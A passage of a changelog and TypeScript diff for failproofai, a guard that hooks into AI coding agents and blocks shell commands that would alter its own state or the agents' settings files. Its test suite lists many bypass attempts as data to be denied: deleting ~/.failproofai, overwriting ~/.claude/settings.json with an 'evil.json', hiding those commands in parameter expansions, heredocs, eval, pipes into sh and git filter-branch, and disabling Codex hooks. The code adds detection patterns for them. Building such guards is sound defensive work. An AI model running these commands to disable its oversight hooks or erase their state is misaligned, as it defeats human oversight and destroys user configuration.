`filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) ## 1.0.16-beta.0 — 2026-11-24 diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts index b4a09ce71..87466791a 100644 --- a/__tests__/hooks/settings-guard.test.ts +++ b/__tests__/hooks/settings-guard.test.ts @@ -710,6 +710,105 @@ describe("block-failproofai-commands — review round three", () => { }, 60_000); }); +/** + * The fourth review pass: what the lexer still read differently from bash, + * message bodies that something runs after all, and inputs that grew + * faster than their size. + */ +describe("block-failproofai-commands — review round four", () => { + const stateDenied = async (command: string) => { + const result = await run("Bash", { command }); + return result.decision === "deny" && /failproofai's own state/.test(result.reason ?? ""); + }; + + describe("what the lexer read differently from bash", () => { + it("reads ${…} as one word: a # inside it starts no comment", async () => { + expect(await stateDenied("echo ${X:- #}; rm -rf ~/.failproofai")).toBe(true); + expect(await bash("echo ${X:- #}; rm ~/.claude/settings.json")).toBe(true); + expect(await bash(`echo "$(echo \${X:-)}; cp /tmp/evil.json ~/.claude/settings.json)"`)).toBe(true); + }); + + it("reads a heredoc delimiter the way bash does", async () => { + // `< { + expect(await stateDenied("rm -rf ~/.fa${X:-ilproofai}")).toBe(true); + expect(await stateDenied(`rm -rf ~/.fa\${X:-il\${Z:+${"A".repeat(300)}}proofai}`)).toBe(true); + expect(await bash("cp /tmp/evil.json ~/.clau${X:-de}/settings.json")).toBe(true); + }); + + it("keeps an unquoted substitution whole as a cd operand", async () => { + expect(await bash("cd $(echo ~/.claude) && echo '{}' > settings.json")).toBe(true); + }); + }); + + describe("a message body that something runs", () => { + const body = "$(cat <<'EOF'\ncp /tmp/evil.json ~/.claude/settings.json\nEOF\n)"; + it.each([ + `sudo -u root sh -c "${body}"`, + `timeout -s KILL 5 sh -c "${body}"`, + `find /tmp -maxdepth 0 -exec sh -c "${body}" \;`, + `X="${body}"; eval "$X"`, + `echo "${body}" | sh`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + }); + + describe("text piped into a shell", () => { + it("is judged as a command", async () => { + expect(await stateDenied("echo 'rm -rf ~/.failproofai' | sh")).toBe(true); + expect(await bash("printf 'cp /tmp/evil.json %s\\n' ~/.claude/settings.json | sh")).toBe(true); + expect(await bashDecision("echo 'codex features disable hooks' | sh")).toBe("deny"); + expect(await bashDecision("echo 'codex features disable hooks' | cat")).toBe("allow"); + }); + }); + + describe("commands git runs", () => { + it.each([ + `git difftool -x 'cp /tmp/evil.json ~/.claude/settings.json' HEAD`, + `git filter-branch --tree-filter 'cp /tmp/evil.json .claude/settings.json' HEAD`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + }); + + describe("message shapes that are only messages", () => { + it.each([ + "git commit -m \"$(cat < docs/hooks.md <<'EOF'\nSee .github/hooks/failproofai.json\nrm -rf ~/.claude\nEOF", + "tee docs/hooks.md <<'EOF' >/dev/null\nrm -rf ~/.claude\nEOF", + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("allows the state's quoted message too, which main denied", async () => { + expect(await bashDecision("git commit -m \"$(cat <<'EOF'\nKeep ~/.failproofai intact\nEOF\n)\"")).toBe("allow"); + }); + }); + + describe("inputs that grew faster than their size", () => { + const fast = async (command: string, limitMs: number) => { + const started = performance.now(); + await bashDecision(command); + return performance.now() - started < limitMs; + }; + it("handles thousands of heredoc operators on one line", async () => { + expect(await fast("cat " + "< { + expect(await fast("echo " + "${".repeat(50000), 3000)).toBe(true); + }, 60_000); + }); +}); + describe("agent-settings-guard helpers", () => { it("matches settings files anchored at the end, and config directories exactly", () => { expect(isAgentSettingsPath("/h/.claude/settings.json")).toBe(true); diff --git a/src/hooks/agent-settings-guard.ts b/src/hooks/agent-settings-guard.ts index 2c0e0c9e5..aea2a442d 100644 --- a/src/hooks/agent-settings-guard.ts +++ b/src/hooks/agent-settings-guard.ts @@ -423,22 +423,46 @@ function withAgentSettingsHomeForm(path: string): string[] { return rel && !rel.startsWith("..") && !isAbsolute(rel) ? [path, `~/${rel}`] : [path]; } +/** Text that every agent settings path or directory contains somewhere. */ +const AGENT_SETTINGS_HINT_SOURCE = + "claude|codex|cursor|copilot|github|opencode|\\.pi|gemini|agents|factory|devin|goose|hermes|openclaw|settings|hooks|config|plugins|extensions"; + +/** + * The hint for this session: the agents' names, plus every name in the + * session's extra settings files and the real locations behind the home + * directory's links, so a word that could reach one is never skipped. + */ +function agentSettingsHintFrom(extras: { files: Set; dirs: Set }): RegExp { + const names = [...extras.files, ...extras.dirs] + .flatMap((path) => path.split(/[\\/]/)) + .filter((segment) => segment.length > 2) + .map((segment) => segment.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")); + return new RegExp([AGENT_SETTINGS_HINT_SOURCE, ...names].join("|"), "i"); +} + /** * What a shell command can name for this session: the shapes, anywhere in its * text; each word on its own, home expanded and normalised; and the session's * extra files and directories. Relative words are left to the caller, which * knows the directory a `cd` has moved the shell to. */ -export function agentSettingsShellNamer(extraPaths: readonly string[], cwd?: string): (text: string) => boolean { +export function agentSettingsShellMatcher( + extraPaths: readonly string[], + cwd?: string, +): { names: (text: string) => boolean; hint: RegExp } { const extras = agentSettingsShellExtras(extraPaths, cwd); + const hint = agentSettingsHintFrom(extras); const textForms = [ ...[...extras.files].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, false))), ...[...extras.dirs].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, true))), ]; - return (text: string): boolean => { + const names = (text: string): boolean => { if (AGENT_SETTINGS_IN_TEXT_RE.test(text) || AGENT_CONFIG_DIR_IN_TEXT_RE.test(text)) return true; if (textForms.some((re) => re.test(text))) return true; for (const raw of text.split(/\s+/)) { + // A word with none of the agents' names in it cannot be one of their + // paths; skipping it spares a path resolution per word of a long line. + if (!hint.test(raw)) continue; for (const word of agentSettingsWordForms(raw)) { if (!word || word.startsWith("-")) continue; // A variable other than HOME is the caller's to follow (it tracks which @@ -451,6 +475,7 @@ export function agentSettingsShellNamer(extraPaths: readonly string[], cwd?: str } return false; }; + return { names, hint }; } /** Whether a program handed to an interpreter builds an agent settings path. */ diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 9a60eaf5a..747b4544d 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -21,7 +21,7 @@ import { agentSettingsGlobCandidates, agentSettingsGlobDecoys, agentSettingsShellCwd, - agentSettingsShellNamer, + agentSettingsShellMatcher, agentSettingsWriteTarget, programNamesAgentSettings, } from "./agent-settings-guard"; @@ -1124,8 +1124,15 @@ function globPrefixNamesTarget(token: string, target: ProtectedPathTarget): bool } catch { return false; } - if (!target.globCandidates.some((candidate) => re.test(candidate))) return false; - return !target.globDecoys.some((decoy) => re.test(decoy)); + // V8 compiles a pattern on its first use, so one too large to compile throws + // here, not at `new RegExp`. A pattern that large is a literal far longer + // than any path it could be tried against. + try { + if (!target.globCandidates.some((candidate) => re.test(candidate))) return false; + return !target.globDecoys.some((decoy) => re.test(decoy)); + } catch { + return false; + } } /** @@ -1384,6 +1391,10 @@ function simpleCommandDestroys( return true; } if ((subcommand === "submodule" && args.includes("foreach")) || (subcommand === "bisect" && args.includes("run"))) return true; + if (subcommand === "filter-branch" || subcommand === "filter-repo") return true; + if ((subcommand === "difftool" || subcommand === "mergetool") && args.some((a) => a === "-x" || a === "--extcmd" || a.startsWith("--extcmd="))) { + return true; + } // `git config` writes `.git/config`; only `-f ` writes elsewhere. if (subcommand === "config") { return gitWords.some((w, i) => ((gitWords[i - 1] === "-f" || gitWords[i - 1] === "--file") && namesInRepository(w)) || @@ -1471,6 +1482,12 @@ interface ProtectedPathTarget { * `cd ~/.claude && cp /tmp/x settings.json` names the file it writes. */ cwd?: string; + /** + * Text every one of the target's paths contains somewhere. A relative word + * is resolved only when it, or the directory the shell stands in, could be + * one; the rest of a long command is not worth a path resolution per word. + */ + hint?: RegExp; } /** failproofai's own state. Names, not copies, so widening any of them widens the walk. */ @@ -1478,6 +1495,7 @@ const FAILPROOFAI_STATE_TARGET: ProtectedPathTarget = { namesLiteral: (text) => FAILPROOFAI_STATE_PATH_RE.test(text), globCandidates: STATE_GLOB_CANDIDATES, globDecoys: GLOB_DECOYS, + hint: /failproof/i, }; /** @@ -1492,14 +1510,15 @@ const AGENT_SETTINGS_HARMLESS_COMMANDS: ReadonlySet = new Set(["mkdir", * no shape describes (a config directory moved by `CLAUDE_CONFIG_DIR`). */ function agentSettingsShellTarget(cwd: string | undefined, extraPaths: readonly string[]): ProtectedPathTarget { - const namer = agentSettingsShellNamer(extraPaths, cwd); + const matcher = agentSettingsShellMatcher(extraPaths, cwd); return { - namesLiteral: namer, - namesProgram: (program) => namer(program) || programNamesAgentSettings(program), + namesLiteral: matcher.names, + namesProgram: (program) => matcher.names(program) || programNamesAgentSettings(program), globCandidates: agentSettingsGlobCandidates(cwd, extraPaths), globDecoys: agentSettingsGlobDecoys(cwd, GLOB_DECOYS), harmlessCommands: AGENT_SETTINGS_HARMLESS_COMMANDS, cwd, + hint: matcher.hint, }; } @@ -1533,6 +1552,11 @@ const SHELL_HEADS: ReadonlySet = new Set([ "ssh", "docker", "podman", "kubectl", "watch", ]); +/** Shells and interpreters that read a program from stdin when given no script: `| sh`, `| node`. */ +const STDIN_PROGRAM_HEADS: ReadonlySet = new Set([ + "sh", "bash", "zsh", "dash", "ksh", "ash", "fish", "node", "bun", "deno", +]); + /** Words a shell walks past before the command that receives the arguments. */ const MASK_TRANSPARENT_WORDS: ReadonlySet = new Set([ "sudo", "doas", "env", "nohup", "time", "timeout", "nice", "stdbuf", "setsid", "command", "builtin", @@ -1567,17 +1591,27 @@ interface LexArithFrame { depth: number; } -type LexFrame = LexCommandFrame | LexQuoteFrame | LexArithFrame; +/** `${…}`: part of one word, whatever spaces, `#`, `;` or `)` it holds. */ +interface LexParamFrame { + kind: "param"; + depth: number; +} + +type LexFrame = LexCommandFrame | LexQuoteFrame | LexArithFrame | LexParamFrame; + +/** A simple command as it ended: its head and its first words. */ +interface LexEndedCommand { + head: string | null; + words: string[]; +} interface PendingHeredoc { delimiter: string; literal: boolean; - head: string | null; - words: string[]; - /** Inside a `$(…)`/backtick: the head of the command the substitution is an argument of. */ - outerHead: string | null | undefined; - /** Heads of the commands after this one on the same line (`cat < word === "-" || word === "/dev/stdin"); +} + +/** `-F -`, `-F-`, `--file=/dev/stdin` and the like: a message read from stdin. */ +function readsMessageFromStdin(words: string[], options: readonly string[]): boolean { + const stdin = (value: string | undefined): boolean => value === "-" || value === "/dev/stdin"; + return words.some((word, i) => { + if (options.includes(word)) return stdin(words[i + 1]); + return options.some((option) => (option.startsWith("--") ? word === `${option}=-` || word === `${option}=/dev/stdin` : stdin(word.slice(option.length)) && word.startsWith(option))); + }); +} + +/** `git commit|tag|notes … -F -`: the heredoc is the commit message. */ +function gitTakesMessageFromStdin(command: LexEndedCommand): boolean { + if (command.head !== "git") return false; + const sub = command.words.slice(1).find((word) => !word.startsWith("-")); + return (sub === "commit" || sub === "tag" || sub === "notes") && readsMessageFromStdin(command.words, ["-F", "--file"]); +} + +/** `gh … --body-file -`: the heredoc is the body of an issue, a PR or a release. */ +function ghTakesBodyFromStdin(command: LexEndedCommand): boolean { + return command.head === "gh" && readsMessageFromStdin(command.words, ["--body-file", "-F"]); +} + +/** Commands whose `$(cat <<'EOF' …)` argument is a message they store, never run. */ +function outerStoresMessage(outer: LexEndedCommand | null | undefined): boolean { + if (!outer || outer.head === null) return false; + if (outer.head === "echo" || outer.head === "printf") return true; + const sub = outer.words.slice(1).find((word) => !word.startsWith("-")); + if (outer.head === "git") return sub === "commit" || sub === "tag" || sub === "notes" || sub === "merge"; + if (outer.head === "gh" || outer.head === "glab") return sub !== "alias" && sub !== "extension"; + return false; +} + +/** A pipe into a shell or interpreter, or an eval/source, anywhere after `at`. */ +const RUNS_TEXT_LATER_RE = + /\|\s*(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish|python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl|ruby|php|lua|pwsh|powershell)(?=[\s;&|)]|$)|(?:^|[\s;&|(`])(?:eval|source)(?=\s)/; + +/** The file a `cat > F` or `tee F` heredoc writes, or null. */ +function heredocWritesFile(command: LexEndedCommand): string | null { + const words = command.words; + if (command.head === "cat") { + for (let i = 1; i < words.length; i++) { + const m = /^>{1,2}(.*)$/.exec(words[i]); + if (m) return m[1] || words[i + 1] || null; + } + return null; + } + if (command.head === "tee") return words.slice(1).find((word) => !word.startsWith("-")) ?? null; + return null; +} + /** * Whether a heredoc's body is text being STORED rather than read by anything * that acts on it — the only bodies the walk may skip. @@ -1609,52 +1697,120 @@ function isInterpreterHead(head: string | null | undefined): boolean { * An allowlist, because the other direction failed: `git apply < x.sh < F` or `tee F` that nothing in the same command runs. + * Anything that later pipes into a shell, `eval`s or `source`s keeps its body. */ -function heredocIsStoredText(doc: PendingHeredoc): boolean { - if (doc.downstream.length > 0) return false; - const args = doc.words.slice(1); - if (doc.head === "cat" && doc.outerHead !== undefined) { - const outer = doc.outerHead; - const outerRuns = outer === null || isShellHead(outer) || isInterpreterHead(outer) || outer === "xargs"; - return !outerRuns && args.every((word) => word === "-"); - } - if (doc.head === "git") { - const sub = args.find((word) => !word.startsWith("-")); - const fromStdin = args.some((word, i) => (word === "-F" || word === "--file") && args[i + 1] === "-") || args.includes("--file=-"); - return (sub === "commit" || sub === "tag" || sub === "notes") && fromStdin; - } - if (doc.head === "gh") { - return args.some((word, i) => (word === "--body-file" || word === "-F") && args[i + 1] === "-") || args.includes("--body-file=-"); +function heredocIsStoredText( + doc: PendingHeredoc, + own: LexEndedCommand, + downstream: LexEndedCommand[], + later: string, + substitutionBody: boolean, +): boolean { + if (RUNS_TEXT_LATER_RE.test(later)) return false; + if (downstream.length === 0) { + if (catReadsOnlyStdin(own)) { + // Inside a substitution whose text the outer command stores; or a body + // being judged on its own (depth 1), whose outer command was judged with it. + if (doc.outer !== undefined ? outerStoresMessage(doc.outer) : substitutionBody) return true; + } + if (gitTakesMessageFromStdin(own) || ghTakesBodyFromStdin(own)) return true; + const file = doc.outer === undefined ? heredocWritesFile(own) : null; + if (file) { + const name = file.slice(file.lastIndexOf("/") + 1); + return name.length > 0 && !later.includes(name); + } + return false; } - return false; + return ( + downstream.length === 1 && + catReadsOnlyStdin(own) && + (gitTakesMessageFromStdin(downstream[0]) || ghTakesBodyFromStdin(downstream[0])) + ); +} + +/** + * A heredoc delimiter word, read the way the shell reads it: quotes and + * backslashes come off, and any of them makes the body literal. `<()".includes(c)) break; + delimiter += c; + j++; + } + return delimiter ? { delimiter, literal, end: j } : null; } /** * One linear pass over a command, as a shell would read it: quotes, `$'…'`, - * `$(…)` and backticks (also inside double quotes), `$((…))`, `( … )` - * subshells, comments, and heredocs with their bodies. + * `${…}`, `$(…)` and backticks (also inside double quotes), `$((…))`, + * `( … )` subshells, comments, and heredocs with their bodies. * * The regexes this replaced read `< { + if (k < n) blanks[k] |= outputs; + }; const programBodies: string[] = []; const newCommand = (closer: ")" | "`" | null, substitution: boolean): LexCommandFrame => ({ kind: "cmd", closer, substitution, head: null, words: [], word: "", }); const stack: LexFrame[] = [newCommand(null, false)]; const pending: PendingHeredoc[] = []; + // Commands ended since the first pending heredoc on this line, in order: a + // heredoc's own command, then the ones its output is piped to. One list per + // line, so many operators on one line stay linear. + const lineCommands: LexEndedCommand[] = []; const commandFrame = (): LexCommandFrame => { for (let k = stack.length - 1; k >= 0; k--) { @@ -1663,7 +1819,7 @@ function lexShell(text: string): ShellLex { } return stack[0] as LexCommandFrame; }; - const outerCommandHead = (): string | null | undefined => { + const outerCommand = (): LexEndedCommand | null | undefined => { // The substitution frame closest to the top, then the command below it. for (let k = stack.length - 1; k >= 0; k--) { const frame = stack[k]; @@ -1671,7 +1827,7 @@ function lexShell(text: string): ShellLex { if (!frame.substitution) return undefined; for (let j = k - 1; j >= 0; j--) { const below = stack[j]; - if (below.kind === "cmd") return below.head ?? (below.word ? commandBasename(below.word) : null); + if (below.kind === "cmd") return { head: below.head ?? (below.word ? commandBasename(below.word) : null), words: [...below.words] }; } return null; } @@ -1691,9 +1847,7 @@ function lexShell(text: string): ShellLex { }; const endCommand = (frame: LexCommandFrame): void => { endWord(frame); - if (frame.head !== null) { - for (const doc of pending) if (doc.words !== frame.words) doc.downstream.push(frame.head); - } + if (pending.length > 0) lineCommands.push({ head: frame.head, words: frame.words.map((w) => w.replace(/^q+$/, "")) }); frame.head = null; frame.words = []; }; @@ -1701,15 +1855,13 @@ function lexShell(text: string): ShellLex { const blankStored = (start: number, end: number, literal: boolean): void => { for (let k = start; k < end; k++) { if (text[k] === "\n") continue; - readable[k] = " "; - splittable[k] = " "; - commandsOnly[k] = " "; - if (literal) substitutionSource[k] = " "; + blankAt(k, READABLE | SPLITTABLE | COMMANDS | (literal ? SUBSTITUTION : 0)); } }; /** Read every pending heredoc's body, starting at `at`; return where lexing resumes. */ const consumeBodies = (at: number): number => { let pos = at; + const spans: Array<{ doc: PendingHeredoc; start: number; end: number }> = []; for (const doc of pending.splice(0)) { let bodyEnd = n; let next = n; @@ -1724,12 +1876,19 @@ function lexShell(text: string): ShellLex { if (end === -1) break; line = end + 1; } - if (heredocIsStoredText(doc)) blankStored(pos, bodyEnd, doc.literal); - else if (isInterpreterHead(doc.head) || doc.downstream.some(isInterpreterHead)) { - programBodies.push(text.slice(pos, bodyEnd)); - } + spans.push({ doc, start: pos, end: bodyEnd }); pos = next; } + const later = text.slice(pos); + for (const { doc, start, end } of spans) { + const own = lineCommands[doc.commandIndex] ?? { head: null, words: [] }; + const downstream = lineCommands.slice(doc.commandIndex + 1); + if (heredocIsStoredText(doc, own, downstream, later, substitutionBody)) blankStored(start, end, doc.literal); + else if (isInterpreterHead(own.head) || downstream.some((command) => isInterpreterHead(command.head))) { + programBodies.push(text.slice(start, end)); + } + } + lineCommands.length = 0; return pos; }; @@ -1740,8 +1899,8 @@ function lexShell(text: string): ShellLex { if (frame.kind === "sq") { if (ch === "'") stack.pop(); else if (frame.mask) { - if (MASKABLE_IN_QUOTES.includes(ch)) splittable[i] = " "; - if (ch !== "\n") commandsOnly[i] = " "; + if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + if (ch !== "\n") blankAt(i, COMMANDS); } i++; continue; @@ -1749,16 +1908,16 @@ function lexShell(text: string): ShellLex { if (frame.kind === "ansi") { if (ch === "\\") { if (frame.mask) { - commandsOnly[i] = " "; - if (i + 1 < n && text[i + 1] !== "\n") commandsOnly[i + 1] = " "; + blankAt(i, COMMANDS); + if (i + 1 < n && text[i + 1] !== "\n") blankAt(i + 1, COMMANDS); } i += 2; continue; } if (ch === "'") stack.pop(); else if (frame.mask) { - if (MASKABLE_IN_QUOTES.includes(ch)) splittable[i] = " "; - if (ch !== "\n") commandsOnly[i] = " "; + if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + if (ch !== "\n") blankAt(i, COMMANDS); } i++; continue; @@ -1767,8 +1926,8 @@ function lexShell(text: string): ShellLex { if (ch === "(") frame.depth++; else if (ch === ")") { if (frame.depth === 0 && text[i + 1] === ")") { - splittable[i] = " "; - splittable[i + 1] = " "; + blankAt(i, SPLITTABLE); + blankAt(i + 1, SPLITTABLE); stack.pop(); i += 2; continue; @@ -1778,11 +1937,41 @@ function lexShell(text: string): ShellLex { i++; continue; } + if (frame.kind === "param") { + // Nothing inside `${…}` separates, redirects, opens a subshell or starts + // a comment: `${X:- #}; rm …` runs the `rm`. + if (ch === "\\") { + i += 2; + continue; + } + if (ch === "'" || ch === '"') { + stack.push({ kind: ch === "'" ? "sq" : "dq", mask: true }); + i++; + continue; + } + if (ch === "$" && text[i + 1] === "(") { + stack.push(newCommand(")", true)); + blankAt(i + 1, SPLITTABLE); + i += 2; + continue; + } + if (ch === "{") frame.depth++; + else if (ch === "}") { + if (frame.depth === 0) { + stack.pop(); + i++; + continue; + } + frame.depth--; + } else if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + i++; + continue; + } if (frame.kind === "dq") { if (ch === "\\") { if (frame.mask) { - commandsOnly[i] = " "; - if (i + 1 < n && text[i + 1] !== "\n") commandsOnly[i + 1] = " "; + blankAt(i, COMMANDS); + if (i + 1 < n && text[i + 1] !== "\n") blankAt(i + 1, COMMANDS); } i += 2; continue; @@ -1796,14 +1985,19 @@ function lexShell(text: string): ShellLex { // the walk counts subshells, so a `cd "$(dirname …)"` keeps its reach. if (ch === "$" && text[i + 1] === "(" && text[i + 2] === "(") { stack.push({ kind: "arith", depth: 0 }); - splittable[i + 1] = " "; - splittable[i + 2] = " "; + blankAt(i + 1, SPLITTABLE); + blankAt(i + 2, SPLITTABLE); i += 3; continue; } if (ch === "$" && text[i + 1] === "(") { stack.push(newCommand(")", true)); - splittable[i + 1] = " "; + blankAt(i + 1, SPLITTABLE); + i += 2; + continue; + } + if (ch === "$" && text[i + 1] === "{") { + stack.push({ kind: "param", depth: 0 }); i += 2; continue; } @@ -1813,8 +2007,8 @@ function lexShell(text: string): ShellLex { continue; } if (frame.mask) { - if (MASKABLE_IN_QUOTES.includes(ch)) splittable[i] = " "; - if (ch !== "\n") commandsOnly[i] = " "; + if (MASKABLE_IN_QUOTES.includes(ch)) blankAt(i, SPLITTABLE); + if (ch !== "\n") blankAt(i, COMMANDS); } i++; continue; @@ -1843,15 +2037,21 @@ function lexShell(text: string): ShellLex { } if (ch === "$" && text[i + 1] === "(" && text[i + 2] === "(") { stack.push({ kind: "arith", depth: 0 }); - splittable[i + 1] = " "; - splittable[i + 2] = " "; + blankAt(i + 1, SPLITTABLE); + blankAt(i + 2, SPLITTABLE); command.word += "q"; i += 3; continue; } if (ch === "$" && text[i + 1] === "(") { stack.push(newCommand(")", true)); - splittable[i + 1] = " "; + blankAt(i + 1, SPLITTABLE); + command.word += "q"; + i += 2; + continue; + } + if (ch === "$" && text[i + 1] === "{") { + stack.push({ kind: "param", depth: 0 }); command.word += "q"; i += 2; continue; @@ -1866,9 +2066,7 @@ function lexShell(text: string): ShellLex { // A comment runs to the end of the line, and nothing in it is shell. let j = i; for (; j < n && text[j] !== "\n"; j++) { - readable[j] = " "; - splittable[j] = " "; - commandsOnly[j] = " "; + blankAt(j, READABLE | SPLITTABLE | COMMANDS); } i = j; continue; @@ -1884,7 +2082,7 @@ function lexShell(text: string): ShellLex { endCommand(command); stack.pop(); if (command.substitution) { - splittable[i] = " "; + blankAt(i, SPLITTABLE); commandFrame().word += "q"; } } @@ -1892,18 +2090,16 @@ function lexShell(text: string): ShellLex { continue; } if (ch === "<" && text[i + 1] === "<" && text[i + 2] !== "<" && text[i - 1] !== "<") { - const op = /^<<(-?)[ \t]*(['"\\]?)([A-Za-z_][A-Za-z0-9_-]*)['"]?/.exec(text.slice(i, i + 160)); + const op = readHeredocDelimiter(text, i + 2); if (op) { endWord(command); pending.push({ - delimiter: op[3], - literal: op[2] !== "", - head: command.head ?? (command.words[0] ? commandBasename(command.words[0]) : null), - words: command.words, - outerHead: outerCommandHead(), - downstream: [], + delimiter: op.delimiter, + literal: op.literal, + commandIndex: lineCommands.length, + outer: outerCommand(), }); - i += op[0].length; + i = op.end; continue; } } @@ -1925,20 +2121,80 @@ function lexShell(text: string): ShellLex { command.word += ch; i++; } - if (pending.length > 0) consumeBodies(n); + if (pending.length > 0) { + endCommand(commandFrame()); + consumeBodies(n); + } + // Each output is the text with its blanked positions turned into spaces, or + // the text itself when nothing in it was blanked. + const render = (output: number): string => { + let out = ""; + let from = 0; + let blanked = false; + for (let k = 0; k < n; ) { + if ((blanks[k] & output) === 0) { + k++; + continue; + } + let end = k; + while (end < n && (blanks[end] & output) !== 0) end++; + out += text.slice(from, k) + " ".repeat(end - k); + from = end; + k = end; + blanked = true; + } + return blanked ? out + text.slice(from) : text; + }; return { - readable: readable.join(""), - splittable: splittable.join(""), - substitutionSource: substitutionSource.join(""), - commandsOnly: commandsOnly.join(""), + readable: render(READABLE), + splittable: render(SPLITTABLE), + substitutionSource: render(SUBSTITUTION), + commandsOnly: render(COMMANDS), programBodies, }; } +/** + * Index past the end of a `$(…)`, `${…}` or backtick that starts at `i`, + * quotes inside it included: what the shell keeps inside one word. + */ +function endOfExpansion(text: string, i: number): number { + if (text[i] === "`") { + for (let j = i + 1; j < text.length; j++) { + if (text[j] === "\\") j++; + else if (text[j] === "`") return j + 1; + } + return text.length; + } + const open = text[i + 1]; + const close = open === "(" ? ")" : "}"; + let depth = 0; + for (let j = i + 1; j < text.length; j++) { + const c = text[j]; + if (c === "\\") { + j++; + continue; + } + if (c === "'") { + const end = text.indexOf("'", j + 1); + if (end === -1) return text.length; + j = end; + continue; + } + if (c === open) depth++; + else if (c === close) { + depth--; + if (depth === 0) return j + 1; + } + } + return text.length; +} + /** * A simple command's words the way the shell will split them: whitespace - * outside quotes separates, and quotes and backslash escapes come off. - * Expansions stay as written. + * outside quotes and expansions separates, and quotes and backslash escapes + * come off. `$(…)`, `${…}` and backticks stay whole, as written, so + * `cd $(echo ~/.claude)` has one operand. */ function quoteAwareWords(text: string): string[] { const words: string[] = []; @@ -1968,10 +2224,21 @@ function quoteAwareWords(text: string): string[] { i = j; continue; } + if ((ch === "$" && (text[i + 1] === "(" || text[i + 1] === "{")) || ch === "`") { + const end = endOfExpansion(text, i); + current += text.slice(i, end); + inWord = true; + i = end - 1; + continue; + } if (ch === '"') { let j = i + 1; for (; j < text.length && text[j] !== '"'; j++) { - if (text[j] === "\\" && j + 1 < text.length && '"\\$`\n'.includes(text[j + 1])) { + if (text[j] === "$" && (text[j + 1] === "(" || text[j + 1] === "{")) { + const end = endOfExpansion(text, j); + current += text.slice(j, end); + j = end - 1; + } else if (text[j] === "\\" && j + 1 < text.length && '"\\$`\n'.includes(text[j + 1])) { current += text[j + 1]; j++; } else current += text[j]; @@ -1999,21 +2266,29 @@ function quoteAwareWords(text: string): string[] { return words; } -/** The words of a simple command from its head on, the prefixes a shell walks past dropped. */ -function quoteAwareCommandWords(simple: string): { words: string[]; viaXargs: boolean } { +/** + * The words of a simple command from its head on, the prefixes a shell walks + * past dropped. `viaXargs`: an `xargs` stood among those prefixes. + * `readsStdinProgram`: the command is a bare shell or interpreter, which runs + * whatever is piped into it (`echo '…' | sh`). + */ +function quoteAwareCommandWords(simple: string): { words: string[]; viaXargs: boolean; readsStdinProgram: boolean } { const all = quoteAwareWords(simple); let viaXargs = false; + let shell = false; let i = 0; for (; i < all.length; i++) { const word = all[i]; const base = commandBasename(word); if (base === "xargs") viaXargs = true; + if (STDIN_PROGRAM_HEADS.has(base)) shell = true; const skippable = ENV_ASSIGNMENT_RE.test(word) || word.startsWith("-") || RUNNER_OPERAND_RE.test(word) || SHELL_KEYWORD_PREFIXES.has(word) || COMMAND_PREFIX_TOKENS.has(base); if (!skippable) break; } - return { words: all.slice(i), viaXargs }; + const words = all.slice(i); + return { words, viaXargs, readsStdinProgram: shell && words.length === 0 }; } /** `e`: sed runs a shell command, as a command (`1e cp …`) or as the flag on `s` (`s/x/y/e`). */ @@ -2067,24 +2342,75 @@ function sedScripts(rawSimple: string): string[] | null { return scripts; } -/** `$VAR`, `${VAR}`, `$(…)` and backticks: what the shell will splice into a word. */ -const WORD_EXPANSION_RE = /\$\{[^}]*\}|\$\([^()]*\)|`[^`]*`|\$[A-Za-z_][A-Za-z0-9_]*/g; - /** - * `text` with each expansion turned into `*`, a pattern that reaches at least - * every word the shell could produce: `~/.claude/settings$X.json`, - * `~/.clau${X}de/settings.json` and `settings$( true ).json` all reach the - * settings file, and are tried against it like any other glob. Spliced before - * the text is cut into words, so an expansion holding a space stays in its word. - * An expansion standing alone becomes a bare `*`, which the decoys keep from - * naming anything. + * `text` with each expansion — `$VAR`, `${…}`, `$(…)`, backticks — turned into + * `*`, a pattern that reaches at least every word the shell could produce: + * `~/.claude/settings$X.json`, `~/.clau${X}de/settings.json`, + * `settings$( true ).json` and `~/.fa${X:-ilproofai}` all reach their file, and + * are tried against it like any other glob. Spliced before the text is cut into + * words, so an expansion holding a space stays in its word; an expansion + * standing alone becomes a bare `*`, which the decoys keep from naming + * anything. + * + * One pass with a bracket stack, so nesting and length cost nothing extra: a + * regex bounded to keep unclosed `${` linear also let an expansion longer than + * its bound through unspliced. An unclosed one stays as written. */ -function spliceWordExpansions(text: string): string { - return text.replace(WORD_EXPANSION_RE, "*"); +function spliceWordExpansions(text: string, commandSubstitutionsOnly = false): string { + const spans: Array<[number, number]> = []; + const stack: Array<{ close: string; start: number; expansion: boolean }> = []; + const outermost = (): boolean => !stack.some((open) => open.expansion); + let backtick = -1; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "\\") { + i++; + continue; + } + if (ch === "`") { + if (backtick === -1) backtick = i; + else { + if (outermost()) spans.push([backtick, i + 1]); + backtick = -1; + } + continue; + } + if (backtick !== -1) continue; + if (ch === "$" && (text[i + 1] === "{" || text[i + 1] === "(")) { + const brace = text[i + 1] === "{"; + stack.push({ close: brace ? "}" : ")", start: i, expansion: !(brace && commandSubstitutionsOnly) }); + i++; + continue; + } + if (ch === "$" && !commandSubstitutionsOnly && /[A-Za-z_]/.test(text[i + 1] ?? "")) { + let j = i + 1; + while (j < text.length && 